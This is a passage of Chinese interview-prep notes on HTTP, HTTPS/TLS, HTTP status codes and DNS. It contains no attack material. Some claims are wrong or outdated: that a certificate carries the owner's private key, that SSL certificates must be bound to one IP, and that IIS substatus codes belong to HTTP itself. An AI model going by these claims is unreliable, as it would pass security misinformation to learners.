-![一文读懂HTTP/2及HTTP/3特性- Fundebug - 博客园](https://image.fundebug.com/2019-03-06-5.png) - -### 15. HTTP请求报文的是什么样的? :star::star: - -请求报⽂有**4**部分组成: - -- 请求⾏ -- 请求头 -- 空⾏ -- 请求体 - -![http请求报文介绍_海蓝树的博客-CSDN博客](https://cdn.yihuiblog.top/images/202207011030969.gif) - -**其中:** - -(1)请求⾏包括:请求⽅法字段、URL字段、HTTP协议版本字段。它们⽤空格分隔。例如,GET /index.html HTTP/1.1。 - -(2)请求头部:请求头部由关键字/值对组成,每⾏⼀对,关键字和值⽤英⽂冒号“:”分隔 - -- User-Agent:产⽣请求的浏览器类型。 -- Accept:客户端可识别的内容类型列表。 -- Host:请求的主机名,允许多个域名同处⼀个IP地址,即虚拟主机。 - -(3)请求体: post put等请求携带的数据 - -![springmvc中GET请求和POST请求_平常心ljw的博客-CSDN博客](https://cdn.yihuiblog.top/images/202207011031141.png) - -### 16. HTTP响应报文的是什么样的? :star::star: - -请求报⽂有**4**部分组成: - -- 响应⾏ -- 响应头 -- 空⾏ -- 响应体 - -![http-请求和响应报文的构成- 天亮☆ - 博客园](https://cdn.yihuiblog.top/images/202207011031623.png) - -- 响应⾏:由网络协议版本,状态码和状态码的原因短语组成,例如 HTTP/1.1 200 OK 。 -- 响应头:响应部⾸组成 -- 响应体:服务器响应的数据 - -### 17. HTTP协议的优点和缺点 :star: - -HTTP 是超文本传输协议,它定义了客户端和服务器之间交换报文的格式和方式,默认使用 80 端口。它使用 TCP 作为传输层协议,保证了数据传输的可靠性。 - -#### HTTP协议具有以下**优点**: - -- 支持客户端/服务器模式 -- **简单快速**:客户向服务器请求服务时,只需传送请求方法和路径。由于 HTTP 协议简单,使得 HTTP 服务器的程序规模小,因而通信速度很快。 -- **无连接**:无连接就是限制每次连接只处理一个请求。服务器处理完客户的请求,并收到客户的应答后,即断开连接,采用这种方式可以节省传输时间。 -- **无状态**:HTTP 协议是无状态协议,这里的状态是指通信过程的上下文信息。缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能会导致每次连接传送的数据量增大。另一方面,在服务器不需要先前信息时它的应答就比较快。 -- **灵活**:HTTP 允许传输任意类型的数据对象。正在传输的类型由 Content-Type 加以标记。 - -#### HTTP协议具有以下**缺点**: - -- **无状态:** HTTP 是一个无状态的协议,HTTP 服务器不会保存关于客户的任何信息。 -- **明文传输:** 协议中的报文使用的是文本形式,这就直接暴露给外界,不安全。 -- **不安全** - -(1)通信使用明文(不加密),内容可能会被窃听; (2)不验证通信方的身份,因此有可能遭遇伪装; (3)无法证明报文的完整性,所以有可能已遭篡改; - -### 18. 说一下HTTP 3.0 - -HTTP/3基于UDP协议实现了类似于TCP的多路复用数据流、传输可靠性等功能,这套功能被称为QUIC协议。 - -![HTTP3:甩掉TCP、TLS的包袱,构建⾼效⽹络| fanfan](https://cdn.yihuiblog.top/images/202207011032346.png) - -1. **流量控制、传输可靠性功能**:QUIC在UDP的基础上增加了一层来保证数据传输可靠性,**它提供了数据包重传、拥塞控制、以及其他一些TCP中的特性**。 -2. **集成TLS加密功能**:目前QUIC使用TLS1.3,减少了握手所花费的RTT数。 -3. **多路复用**:同一物理连接上可以有多个独立的逻辑数据流,实现了数据流的单独传输,解决了TCP的队头阻塞问题。 - -![游览器工作原理和实践》笔记(下) - 戡玉- 博客园](https://cdn.yihuiblog.top/images/202207011033465.jpeg) - -4. **快速握手**:由于基于UDP,可以实现使用0 ~ 1个RTT来建立连接。 - -### 19. HTTP协议的性能怎么样 - -HTTP 协议是基于 TCP/IP,并且使用了**请求-应答**的通信模式,所以性能的关键就在这两点里。 - -- **长连接** - -HTTP协议有两种连接模式,一种是持续连接,一种非持续连接。 - -(1)非持续连接指的是服务器必须为每一个请求的对象建立和维护一个全新的连接。 - -(2)持续连接下,TCP 连接默认不关闭,可以被多个请求复用。采用持续连接的好处是可以避免每次建立 TCP 连接三次握手时所花费的时间。 - -对于不同版本的采用不同的连接方式: - -- 在HTTP/1.0 每发起一个请求,都要新建一次 TCP 连接(三次握手),而且是串行请求,做了无畏的 TCP 连接建立和断开,增加了通信开销。该版本使用的非持续的连接,但是可以在请求时,加上 Connection: keep-a live 来要求服务器不要关闭 TCP 连接。 -- 在HTTP/1.1 提出了**长连接**的通信方式,也叫持久连接。这种方式的好处在于减少了 TCP 连接的重复建立和断开所造成的额外开销,减轻了服务器端的负载。该版本及以后版本默认采用的是持续的连接。目前对于同一个域,大多数浏览器支持同时建立 6 个持久连接。 - - -![HTTP/2.0 相比1.0有哪些重大改进?_山楂树之恋的博客-CSDN博客](https://cdn.yihuiblog.top/images/202207011034215.png) - -- **管道网络传输** - -HTTP/1.1 采用了长连接的方式,这使得管道(pipeline)网络传输成为了可能。 - -管道(pipeline)网络传输是指:可以在同一个 TCP 连接里面,客户端可以发起多个请求,只要第一个请求发出去了,不必等其回来,就可以发第二个请求出去,可以减少整体的响应时间。但是服务器还是按照顺序回应请求。如果前面的回应特别慢,后面就会有许多请求排队等着。这称为队头堵塞。 - -- **队头堵塞** - -HTTP 传输的报文必须是一发一收,但是,里面的任务被放在一个任务队列中串行执行,一旦队首的请求处理太慢,就会阻塞后面请求的处理。这就是HTTP队头阻塞问题。 - -**队头阻塞的解决方案:** - -(1)**并发连接:对于一个域名允许分配多个长连接**,那么相当于增加了任务队列,不至于一个队伍的任务阻塞其它所有任务。 - - (2)**域名分片:将域名分出很多二级域名**,它们都指向同样的一台服务器,能够并发的长连接数变多,解决了队头阻塞的问题。 - -### 20. URL有哪些组成部分 :star: - -以下面的URL为例:**[www.aspxfans.com:8080/news/index.…](https://link.juejin.cn?target=http%3A%2F%2Fwww.aspxfans.com%3A8080%2Fnews%2Findex.asp%3FboardID%3D5%26ID%3D24618%26page%3D1%23name)** - -从上面的URL可以看出,一个完整的URL包括以下几部分: - -- **协议部分**:该URL的协议部分为“http:”,这代表网页使用的是HTTP协议。在Internet中可以使用多种协议,如HTTP,FTP等等本例中使用的是HTTP协议。在"HTTP"后面的“//”为分隔符; -- **域名部分**:该URL的域名部分为“[www.aspxfans.com”。一个URL中,也可以使用IP地址作为域名使用](https://link.juejin.cn?target=http%3A%2F%2Fwww.aspxfans.com%E2%80%9D%E3%80%82%E4%B8%80%E4%B8%AAURL%E4%B8%AD%EF%BC%8C%E4%B9%9F%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8IP%E5%9C%B0%E5%9D%80%E4%BD%9C%E4%B8%BA%E5%9F%9F%E5%90%8D%E4%BD%BF%E7%94%A8) -- **端口部分**:跟在域名后面的是端口,域名和端口之间使用“:”作为分隔符。端口不是一个URL必须的部分,如果省略端口部分,将采用默认端口(HTTP协议默认端口是80,HTTPS协议默认端口是443); -- **虚拟目录部分**:从域名后的第一个“/”开始到最后一个“/”为止,是虚拟目录部分。虚拟目录也不是一个URL必须的部分。本例中的虚拟目录是“/news/”; -- **文件名(xxx.html)部分**:从域名后的最后一个“/”开始到“?”为止,是文件名部分,如果没有“?”,则是从域名后的最后一个“/”开始到“#”为止,是文件部分,如果没有“?”和“#”,那么从域名后的最后一个“/”开始到结束,都是文件名部分。本例中的文件名是“index.asp”。文件名部分也不是一个URL必须的部分,如果省略该部分,则使用默认的文件名; -- **锚(hash)部分**:从“#”开始到最后,都是锚部分。本例中的锚部分是“name”。锚部分也不是一个URL必须的部分; -- **参数(?)部分**:从“?”开始到“#”为止之间的部分为参数部分,又称搜索部分、查询部分。本例中的参数部分为“boardID=5&ID=24618&page=1”。参数可以允许有多个参数,参数与参数之间用“&”作为分隔符。 - -### 21. 与缓存相关的HTTP请求头有哪些 - -强缓存: - -- Expires 低优先级 -- Cache-Control 高优先级 - -协商缓存: - -- Etag、If-None-Match -- Last-Modified、If-Modified-Since - -## 二、HTTPS协议 - -### 1. 什么是HTTPS协议?:star::star: - -超文本传输安全协议(Hypertext Transfer Protocol Secure,简称:HTTPS)是一种通过计算机网络进行安全通信的传输协议。HTTPS经由HTTP进行通信,利用SSL/TLS来加密数据包。HTTPS的主要目的是提供对网站服务器的身份认证,保护交换数据的隐私与完整性。 - -![一文读懂HTTPS协议_CUG-GZ的博客-CSDN博客](https://cdn.yihuiblog.top/images/202207011035995.png) - -HTTP协议采用**明文传输**信息,存在**信息窃听**、**信息篡改**和**信息劫持**的风险,而协议TLS/SSL具有**身份验证**、**信息加密**和**完整性校验**的功能,可以避免此类问题发生。 - -安全层的主要职责就是**对发起的HTTP请求的数据进行加密操作** 和 **对接收到的HTTP的内容进行解密操作**。 - -### 2. TLS/SSL的工作原理 :star::star: - -**TLS/SSL**全称**安全传输层协议**(Transport Layer Security), 是介于TCP和HTTP之间的一层安全协议,不影响原有的TCP协议和HTTP协议,所以使用HTTPS基本上不需要对HTTP页面进行太多的改造。 - -TLS/SSL的功能实现主要依赖三类基本算法:**散列函数hash**、**对称加密**、**非对称加密**。这三类算法的作用如下: - -- 基于散列函数验证信息的完整性 -- 对称加密算法采用协商的秘钥对数据加密 -- 非对称加密实现身份认证和秘钥协商 - -![HTTPS的加密原理你知道吗?什么是中间人攻击?什么是对称加密什么是非对称加密?_三不猴子的博客-CSDN博客_中间人攻击非对称加密](https://cdn.yihuiblog.top/images/202207011054591.png) - -#### (1)散列函数hash - -常见的散列函数有MD5、SHA1、SHA256。该函数的特点是单向不可逆,对输入数据非常敏感,输出的长度固定,任何数据的修改都会改变散列函数的结果,可以用于防止信息篡改并验证数据的完整性。 - -**特点:** 在信息传输过程中,散列函数不能三都实现信息防篡改,由于传输是明文传输,中间人可以修改信息后重新计算信息的摘要,所以需要对传输的信息和信息摘要进行加密。 - -#### (2)对称加密 - -对称加密的方法是,双方使用同一个秘钥对数据进行加密和解密。但是对称加密的存在一个问题,就是如何保证秘钥传输的安全性,因为秘钥还是会通过网络传输的,一旦秘钥被其他人获取到,那么整个加密过程就毫无作用了。 这就要用到非对称加密的方法。 - -常见的对称加密算法有AES-CBC、DES、3DES、AES-GCM等。相同的秘钥可以用于信息的加密和解密。掌握秘钥才能获取信息,防止信息窃听,其通讯方式是一对一。 - -**特点:** 对称加密的优势就是信息传输使用一对一,需要共享相同的密码,密码的安全是保证信息安全的基础,服务器和N个客户端通信,需要维持N个密码记录且不能修改密码。 - -#### (3)非对称加密 - -非对称加密的方法是,我们拥有两个秘钥,一个是公钥,一个是私钥。公钥是公开的,私钥是保密的。用私钥加密的数据,只有对应的公钥才能解密,用公钥加密的数据,只有对应的私钥才能解密。我们可以将公钥公布出去,任何想和我们通信的客户, 都可以使用我们提供的公钥对数据进行加密,这样我们就可以使用私钥进行解密,这样就能保证数据的安全了。但是非对称加密有一个缺点就是加密的过程很慢,因此如果每次通信都使用非对称加密的方式的话,反而会造成等待时间过长的问题。 - -常见的非对称加密算法有RSA、ECC、DH等。秘钥成对出现,一般称为公钥(公开)和私钥(保密)。公钥加密的信息只有私钥可以解开,私钥加密的信息只能公钥解开,因此掌握公钥的不同客户端之间不能相互解密信息,只能和服务器进行加密通信,服务器可以实现一对多的的通信,客户端也可以用来验证掌握私钥的服务器的身份。 - -**特点:** 非对称加密的特点就是信息一对多,服务器只需要维持一个私钥就可以和多个客户端进行通信,但服务器发出的信息能够被所有的客户端解密,且该算法的计算复杂,加密的速度慢。 - -综合上述算法特点,TLS/SSL的工作方式就是客户端使用非对称加密与服务器进行通信,实现身份的验证并协商对称加密使用的秘钥。对称加密算法采用协商秘钥对信息以及信息摘要进行加密通信,不同节点之间采用的对称秘钥不同,从而保证信息只能通信双方获取。这样就解决了两个方法各自存在的问题。 - -### 3. 数字证书是什么? - -【确定你的公钥也不是假的】 - -现在的方法也不一定是安全的,因为没有办法确定得到的公钥就一定是安全的公钥。可能存在一个中间人,截取了对方发给我们的公钥,然后将他自己的公钥发送给我们,当我们使用他的公钥加密后发送的信息,就可以被他用自己的私钥解密。然后他伪装成我们以同样的方法向对方发送信息,这样我们的信息就被窃取了,然而自己还不知道。为了解决这样的问题,可以使用数字证书。 - -首先使用一种 Hash 算法来对公钥和其他信息进行加密,生成一个信息摘要,然后让有公信力的认证中心(简称 CA )用它的私钥对消息摘要加密,形成签名。最后将原始的信息和签名合在一起,称为数字证书。当接收方收到数字证书的时候,先根据原始信息使用同样的 Hash 算法生成一个摘要,然后使用公证处的公钥来对数字证书中的摘要进行解密,最后将解密的摘要和生成的摘要进行对比,就能发现得到的信息是否被更改了。 - -这个方法最要的是认证中心的可靠性,一般浏览器里会内置一些顶层的认证中心的证书,相当于我们自动信任了他们,只有这样才能保证数据的安全。 - -![image.png](https://cdn.yihuiblog.top/images/202207011056537.png) - -### 4. HTTPS通信(握手)过程 :star: - -HTTPS的通信过程如下: - -1. 客户端向服务器发起请求,请求中包含使用的协议版本号、生成的一个随机数、以及客户端支持的加密方法。 -2. 服务器端接收到请求后,确认双方使用的加密方法、并给出服务器的证书、以及一个服务器生成的随机数。 -3. 客户端确认服务器证书有效后,生成一个新的随机数,并使用数字证书中的公钥,加密这个随机数,然后发给服 务器。并且还会提供一个前面所有内容的 hash 的值,用来供服务器检验。 -4. 服务器使用自己的私钥,来解密客户端发送过来的随机数。并提供前面所有内容的 hash 值来供客户端检验。 -5. 客户端和服务器端根据约定的加密方法使用前面的三个随机数,生成对话秘钥,以后的对话过程都使用这个秘钥来加密信息。 - -### 5. HTTPS的特点 :star: - -HTTPS的**优点**如下: - -- 使用HTTPS协议可以认证用户和服务器,确保数据发送到正确的客户端和服务器; -- 使用HTTPS协议可以进行加密传输、身份认证,通信更加安全,防止数据在传输过程中被窃取、修改,确保数据安全性; -- HTTPS是现行架构下最安全的解决方案,虽然不是绝对的安全,但是大幅增加了中间人攻击的成本; - -HTTPS的**缺点**如下: - -- HTTPS需要做服务器和客户端双方的加密个解密处理,耗费更多服务器资源,过程复杂; -- HTTPS协议握手阶段比较费时,增加页面的加载时间; -- SSL证书是收费的,功能越强大的证书费用越高; -- HTTPS连接服务器端资源占用高很多,支持访客稍多的网站需要投入更大的成本; -- SSL证书需要绑定IP,不能再同一个IP上绑定多个域名。 - -### 6. **HTTPS**是如何保证安全的?:star::star: - -先理解两个概念: - -- 对称加密:即通信的双⽅都使⽤同⼀个秘钥进⾏加解密,对称加密虽然很简单性能也好,但是⽆法解决⾸次把秘钥发给对⽅的问题,很容易被⿊客拦截秘钥。 -- ⾮对称加密: - -1. 私钥 + 公钥= 密钥对 -2. 即⽤私钥加密的数据,只有对应的公钥才能解密,⽤公钥加密的数据,只有对应的私钥才能解密 -3. 因为通信双⽅的⼿⾥都有⼀套⾃⼰的密钥对,通信之前双⽅会先把⾃⼰的公钥都先发给对⽅ -4. 然后对⽅再拿着这个公钥来加密数据响应给对⽅,等到到了对⽅那⾥,对⽅再⽤⾃⼰的私钥进⾏解密 - -⾮对称加密虽然安全性更⾼,但是带来的问题就是速度很慢,影响性能。 - -**解决⽅案:** - -结合两种加密⽅式,将对称加密的密钥使⽤⾮对称加密的公钥进⾏加密,然后发送出去,接收⽅使⽤私钥进⾏解密得到对称加密的密钥,然后双⽅可以使⽤对称加密来进⾏沟通。 - -此时⼜带来⼀个问题,中间⼈问题: 如果此时在客户端和服务器之间存在⼀个中间⼈,这个中间⼈只需要把原本双⽅通信互发的公钥,换成⾃⼰的公钥,这样中间⼈就可以轻松解密通信双⽅所发送的所有数据。 - -所以这个时候需要⼀个安全的第三⽅颁发证书(CA),证明身份的身份,防⽌被中间⼈攻击。 证书中包括:签发者、证书⽤途、使⽤者公钥、使⽤者私钥、使⽤者的HASH算法、证书到期时间等。 - -但是问题来了,如果中间⼈篡改了证书,那么身份证明是不是就⽆效了?这个证明就⽩买了,这个时候需要⼀个新的技术,数字签名。 - -数字签名就是⽤CA⾃带的HASH算法对证书的内容进⾏HASH得到⼀个摘要,再⽤CA的私钥加密,最终组成数字签名。当别⼈把他的证书发过来的时候,我再⽤同样的Hash算法,再次⽣成消息摘要,然后⽤CA的公钥对数字签名解密,得到CA创建的消息摘要,两者⼀⽐,就知道中间有没有被⼈篡改了。这个时候就能最⼤程度保证通信的安全了。 - -## 三、HTTP状态码 - -### 常见的状态码 :star::star: - -状态码的类别: - -| **类别** | **原因** | **描述** | -| -------- | ------------------------------- | -------------------------- | -| 1xx | Informational(信息性状态码) | 接受的请求正在处理 | -| 2xx | Success(成功状态码) | 请求正常处理完毕 | -| 3xx | Redirection(重定向状态码) | 需要进行附加操作一完成请求 | -| 4xx | Client Error (客户端错误状态码) | 服务器无法处理请求 | -| 5xx | Server Error(服务器错误状态码) | 服务器处理请求出错 | - -### 1. 2XX (Success 成功状态码) - -状态码2XX表示请求被正常处理了。 - -#### (1)200 OK - -200 OK表示客户端发来的请求被服务器端正常处理了。 - -#### (2)204 No Content - -该状态码表示客户端发送的请求已经在服务器端正常处理了,但是没有返回的内容,响应报文中不包含实体的主体部分。一般在只需要从客户端往服务器端发送信息,而服务器端不需要往客户端发送内容时使用。 - -#### (3)206 Partial Content - -该状态码表示客户端进行了范围请求,而服务器端执行了这部分的 GET 请求。响应报文中包含由 Content-Range 指定范围的实体内容。 - -### 2. 3XX (Redirection 重定向状态码) - -3XX 响应结果表明浏览器需要执行某些特殊的处理以正确处理请求。 - -#### (1)301 Moved Permanently - -**永久重定向。** 该状态码表示请求的资源已经被分配了新的 URI,以后应使用资源指定的 URI。新的 URI 会在 HTTP 响应头中的 Location 首部字段指定。若用户已经把原来的URI保存为书签,此时会按照 Location 中新的URI重新保存该书签。同时,搜索引擎在抓取新内容的同时也将旧的网址替换为重定向之后的网址。 - -**使用场景:** - -- 当我们想换个域名,旧的域名不再使用时,用户访问旧域名时用301就重定向到新的域名。其实也是告诉搜索引擎收录的域名需要对新的域名进行收录。 -- 在搜索引擎的搜索结果中出现了不带www的域名,而带www的域名却没有收录,这个时候可以用301重定向来告诉搜索引擎我们目标的域名是哪一个。 - -#### (2)302 Found - -**临时重定向。** 该状态码表示请求的资源被分配到了新的 URI,希望用户(本次)能使用新的 URI 访问资源。和 301 Moved Permanently 状态码相似,但是 302 代表的资源不是被永久重定向,只是临时性质的。也就是说已移动的资源对应的 URI 将来还有可能发生改变。若用户把 URI 保存成书签,但不会像 301 状态码出现时那样去更新书签,而是仍旧保留返回 302 状态码的页面对应的 URI。同时,搜索引擎会抓取新的内容而保留旧的网址。因为服务器返回302代码,搜索引擎认为新的网址只是暂时的。 - -**使用场景:** - -- 当我们在做活动时,登录到首页自动重定向,进入活动页面。 -- 未登陆的用户访问用户中心重定向到登录页面。 -- 访问404页面重新定向到首页。 - -#### (3)303 See Other - -该状态码表示由于请求对应的资源存在着另一个 URI,应使用 GET 方法定向获取请求的资源。 303 状态码和 302 Found 状态码有着相似的功能,但是 303 状态码明确表示客户端应当采用 GET 方法获取资源。 - -303 状态码通常作为 PUT 或 POST 操作的返回结果,它表示重定向链接指向的不是新上传的资源,而是另外一个页面,比如消息确认页面或上传进度页面。而请求重定向页面的方法要总是使用 GET。 - -注意: - -- 当 301、302、303 响应状态码返回时,几乎所有的浏览器都会把 POST 改成GET,并删除请求报文内的主体,之后请求会再次自动发送。 -- 301、302 标准是禁止将 POST 方法变成 GET方法的,但实际大家都会这么做。 - -#### (4)304 Not Modified - -**浏览器缓存相关。** 该状态码表示客户端发送附带条件的请求时,服务器端允许请求访问资源,但未满足条件的情况。304 状态码返回时,不包含任何响应的主体部分。304 虽然被划分在 3XX 类别中,但是和重定向没有关系。 - -带条件的请求(Http 条件请求):使用 Get方法 请求,请求报文中包含(`if-match`、`if-none-match`、`if-modified-since`、`if-unmodified-since`、`if-range`)中任意首部。 - -状态码304并不是一种错误,而是告诉客户端有缓存,直接使用缓存中的数据。返回页面的只有头部信息,是没有内容部分的,这样在一定程度上提高了网页的性能。 - -#### (5)307 Temporary Redirect - -**307表示临时重定向。** 该状态码与 302 Found 有着相同含义,尽管 302 标准禁止 POST 变成 GET,但是实际使用时还是这样做了。 - -307 会遵守浏览器标准,**不会从 POST 变成 GET**。但是对于处理请求的行为时,不同浏览器还是会出现不同的情况。规范要求浏览器继续向 Location 的地址 POST 内容。规范要求浏览器继续向 Location 的地址 POST 内容。 - -### 3. 4XX (Client Error 客户端错误状态码) - -4XX 的响应结果表明客户端是发生错误的原因所在。 - -#### (1)400 Bad Request - -该状态码表示请求报文中存在语法错误。当错误发生时,需修改请求的内容后再次发送请求。另外,浏览器会像 200 OK 一样对待该状态码。 - -#### (2)401 Unauthorized - -该状态码表示发送的请求需要有通过 HTTP 认证(BASIC 认证、DIGEST 认证)的认证信息。若之前已进行过一次请求,则表示用户认证失败 - -返回含有 401 的响应必须包含一个适用于被请求资源的 WWW-Authenticate 首部用以质询(challenge)用户信息。当浏览器初次接收到 401 响应,会弹出认证用的对话窗口。 - -以下情况会出现401: - -- 401.1 - 登录失败。 -- 401.2 - 服务器配置导致登录失败。 -- 401.3 - 由于 ACL 对资源的限制而未获得授权。 -- 401.4 - 筛选器授权失败。 -- 401.5 - ISAPI/CGI 应用程序授权失败。 -- 401.7 - 访问被 Web 服务器上的 URL 授权策略拒绝。这个错误代码为 IIS 6.0 所专用。 - -#### (3)403 Forbidden - -该状态码表明请求资源的访问被服务器拒绝了,服务器端没有必要给出详细理由,但是可以在响应报文实体的主体中进行说明。进入该状态后,不能再继续进行验证。该访问是永久禁止的,并且与应用逻辑密切相关。 - -IIS 定义了许多不同的 403 错误,它们指明更为具体的错误原因: - -- 403.1 - 执行访问被禁止。 -- 403.2 - 读访问被禁止。 -- 403.3 - 写访问被禁止。 -- 403.4 - 要求 SSL。 -- 403.5 - 要求 SSL 128。 -- 403.6 - IP 地址被拒绝。 -- 403.7 - 要求客户端证书。 -- 403.8 - 站点访问被拒绝。 -- 403.9 - 用户数过多。 -- 403.10 - 配置无效。 -- 403.11 - 密码更改。 -- 403.12 - 拒绝访问映射表。 -- 403.13 - 客户端证书被吊销。 -- 403.14 - 拒绝目录列表。 -- 403.15 - 超出客户端访问许可。 -- 403.16 - 客户端证书不受信任或无效。 -- 403.17 - 客户端证书已过期或尚未生效 -- 403.18 - 在当前的应用程序池中不能执行所请求的 URL。这个错误代码为 IIS 6.0 所专用。 -- 403.19 - 不能为这个应用程序池中的客户端执行 CGI。这个错误代码为 IIS 6.0 所专用。 -- 403.20 - Passport 登录失败。这个错误代码为 IIS 6.0 所专用。 - -#### (4)404 Not Found - -该状态码表明服务器上无法找到请求的资源。除此之外,也可以在服务器端拒绝请求且不想说明理由时使用。 以下情况会出现404: - -- 404.0 -(无) – 没有找到文件或目录。 -- 404.1 - 无法在所请求的端口上访问 Web 站点。 -- 404.2 - Web 服务扩展锁定策略阻止本请求。 -- 404.3 - MIME 映射策略阻止本请求。 - -#### (5)405 Method Not Allowed - -该状态码表示客户端请求的方法虽然能被服务器识别,但是服务器禁止使用该方法。GET 和 HEAD 方法,服务器应该总是允许客户端进行访问。客户端可以通过 OPTIONS 方法(预检)来查看服务器允许的访问方法, 如下 - -```javascript -Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE -``` - -### 4. 5XX (Server Error 服务器错误状态码) - -5XX 的响应结果表明服务器本身发生错误. - -#### (1)500 Internal Server Error - -该状态码表明服务器端在执行请求时发生了错误。也有可能是 Web 应用存在的 bug 或某些临时的故障。 - -#### (2)502 Bad Gateway - -该状态码表明扮演网关或代理角色的服务器,从上游服务器中接收到的响应是无效的。注意,502 错误通常不是客户端能够修复的,而是需要由途经的 Web 服务器或者代理服务器对其进行修复。以下情况会出现502: - -- 502.1 - CGI (通用网关接口)应用程序超时。 -- 502.2 - CGI (通用网关接口)应用程序出错。 - -#### (3)503 Service Unavailable - -该状态码表明服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。如果事先得知解除以上状况需要的时间,最好写入 RetryAfter 首部字段再返回给客户端。 - -**使用场景:** - -- 服务器停机维护时,主动用503响应请求; -- nginx 设置限速,超过限速,会返回503。 - -#### (4)504 Gateway Timeout - -该状态码表示网关或者代理的服务器无法在规定的时间内获得想要的响应。他是HTTP 1.1中新加入的。 - -使用场景:代码执行时间超时,或者发生了死循环。 - -### 5. 总结 - -**(1)2XX 成功** - -- 200 OK,表示从客户端发来的请求在服务器端被正确处理 -- 204 No content,表示请求成功,但响应报文不含实体的主体部分 -- 205 Reset Content,表示请求成功,但响应报文不含实体的主体部分,但是与 204 响应不同在于要求请求方重置内容 -- 206 Partial Content,进行范围请求 - -**(2)3XX 重定向** - -- **301 moved permanently,永久性重定向,表示资源已被分配了新的 URL** -- **302 found,临时性重定向,表示资源临时被分配了新的 URL** -- 303 see other,表示资源存在着另一个 URL,应使用 GET 方法获取资源 -- 304 not modified,表示服务器允许访问资源,但因发生请求未满足条件的情况 -- 307 temporary redirect,临时重定向,和302含义类似,但是期望客户端保持请求方法不变向新的地址发出请求 - -**(3)4XX 客户端错误** - -- 400 bad request,请求报文存在语法错误 -- 401 unauthorized,表示发送的请求需要有通过 HTTP 认证的认证信息 -- 403 forbidden,表示对请求资源的访问被服务器拒绝 -- 404 not found,表示在服务器上没有找到请求的资源 - -**(4)5XX 服务器错误** - -- 500 internal sever error,表示服务器端在执行请求时发生了错误 -- 501 Not Implemented,表示服务器不支持当前请求所需要的某个功能 -- 503 service unavailable,表明服务器暂时处于超负载或正在停机维护,无法处理请求 - -### 6. 同样是重定向,**307**,**303**,**302**的区别? - -302 是http1.0的协议状态码,在http1.1版本的时候为了细化302状态码⼜出来了两个303和307。 - -303 明确表示客户端应当采⽤get⽅法获取资源,他会把POST请求变为GET请求进⾏重定向。 - -307 会遵照浏览器标准,不会从post变为get。 - -## 四、DNS协议介绍 - -### 1. DNS 协议是什么 - -**概念**: DNS 是域名系统 (Domain Name System) 的缩写,提供的是一种主机名到 IP 地址的转换服务,就是我们常说的域名系统。它是一个由分层的 DNS 服务器组成的分布式数据库,是定义了主机如何查询这个分布式数据库的方式的应用层协议。能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。 - -**作用**: 将域名解析为IP地址,客户端向DNS服务器(DNS服务器有自己的IP地址)发送域名查询请求,DNS服务器告知客户机Web服务器的 IP 地址。 - -### 2. DNS同时使用TCP和UDP协议 - -**DNS占用53号端口,同时使用TCP和UDP协议。** - -**(1)在区域传输的时候使用TCP协议** - -- 辅域名服务器会定时(一般3小时)向主域名服务器进行查询以便了解数据是否有变动。如有变动,会执行一次区域传送,进行数据同步。区域传送使用TCP而不是UDP,因为数据同步传送的数据量比一个请求应答的数据量要多得多。 -- TCP是一种可靠连接,保证了数据的准确性。 - -**(2)在域名解析的时候使用UDP协议** - -- 客户端向DNS服务器查询域名,一般返回的内容都不超过512字节,用UDP传输即可。不用经过三次握手,这样DNS服务器负载更低,响应更快。理论上说,客户端也可以指定向DNS服务器查询时用TCP,但事实上,很多DNS服务器进行配置的时候,仅支持UDP查询包。 - -### 3. DNS完整的查询过程 :star::star: - -DNS服务器解析域名的过程: - -- 首先会在**浏览器的缓存**中查找对应的IP地址,如果查找到直接返回,若找不到继续下一步 -- 将请求发送给**本地DNS服务器**,在本地域名服务器缓存中查询,如果查找到,就直接将查找结果返回,若找不到继续下一步 -- 本地DNS服务器向**根域名服务器**发送请求,根域名服务器会返回一个所查询域的顶级域名服务器地址 -- 本地DNS服务器向**顶级域名服务器**发送请求,接受请求的服务器查询自己的缓存,如果有记录,就返回查询结果,如果没有就返回相关的下一级的权威域名服务器的地址 -- 本地DNS服务器向**权威域名服务器**发送请求,域名服务器返回对应的结果 -- 本地DNS服务器将返回结果保存在缓存中,便于下次使用 -- 本地DNS服务器将返回结果返回给浏览器 - -比如要查询 [www.baidu.com](https://link.juejin.cn?target=http%3A%2F%2Fwww.baidu.com%2F) 的 IP 地址,首先会在浏览器的缓存中查找是否有该域名的缓存,如果不存在就将请求发送到本地的 DNS 服务器中,本地DNS服务器会判断是否存在该域名的缓存,如果不存在,则向根域名服务器发送一个请求,根域名服务器返回负责 .com 的顶级域名服务器的 IP 地址的列表。然后本地 DNS 服务器再向其中一个负责 .com 的顶级域名服务器发送一个请求,负责 .com 的顶级域名服务器返回负责 .baidu 的权威域名服务器的 IP 地址列表。然后本地 DNS 服务器再向其中一个权威域名服务器发送一个请求,最后权威域名服务器返回一个对应的主机名的 IP 地址列表。 - -### 4. 迭代查询与递归查询 - -实际上,DNS解析是一个**包含迭代查询和递归查询**的过程。 - -- **递归查询**指的是查询请求发出后,域名服务器代为向下一级域名服务器发出请求,最后向用户返回查询的最终结果。使用递归 查询,用户只需要发出一次查询请求。 -- **迭代查询**指的是查询请求后,域名服务器返回单次查询的结果。下一级的查询由用户自己请求。使用迭代查询,用户需要发出 多次的查询请求。 - -一般我们向本地 DNS 服务器发送请求的方式就是**递归查询**,因为我们只需要发出一次请求,然后本地 DNS 服务器返回给我 们最终的请求结果。而本地 DNS 服务器向其他域名服务器请求的过程是**迭代查询**的过程,因为每一次域名服务器只返回单次 查询的结果,下一级的查询由本地 DNS 服务器自己进行(减轻根域名服务器压力)。 - -### 5. DNS 记录和报文 - -DNS 服务器中以资源记录的形式存储信息,每一个 DNS 响应报文一般包含多条资源记录。一条资源记录的具体的格式为 - -```http -(Name,Value,Type,TTL) -``` - -其中 TTL 是资源记录的生存时间,它定义了资源记录能够被其他的 DNS 服务器缓存多长时间。 - -常用的一共有四种 Type 的值,分别是 A、NS、CNAME 和 MX ,不同 Type 的值,对应资源记录代表的意义不同: - -- 如果 Type = A,则 Name 是主机名,Value 是主机名对应的 IP 地址。因此一条记录为 A 的资源记录,提供了标 准的主机名到 IP 地址的映射。 -- 如果 Type = NS,则 Name 是个域名,Value 是负责该域名的 DNS 服务器的主机名。这个记录主要用于 DNS 链式 查询时,返回下一级需要查询的 DNS 服务器的信息。 -- 如果 Type = CNAME,则 Name 为别名,Value 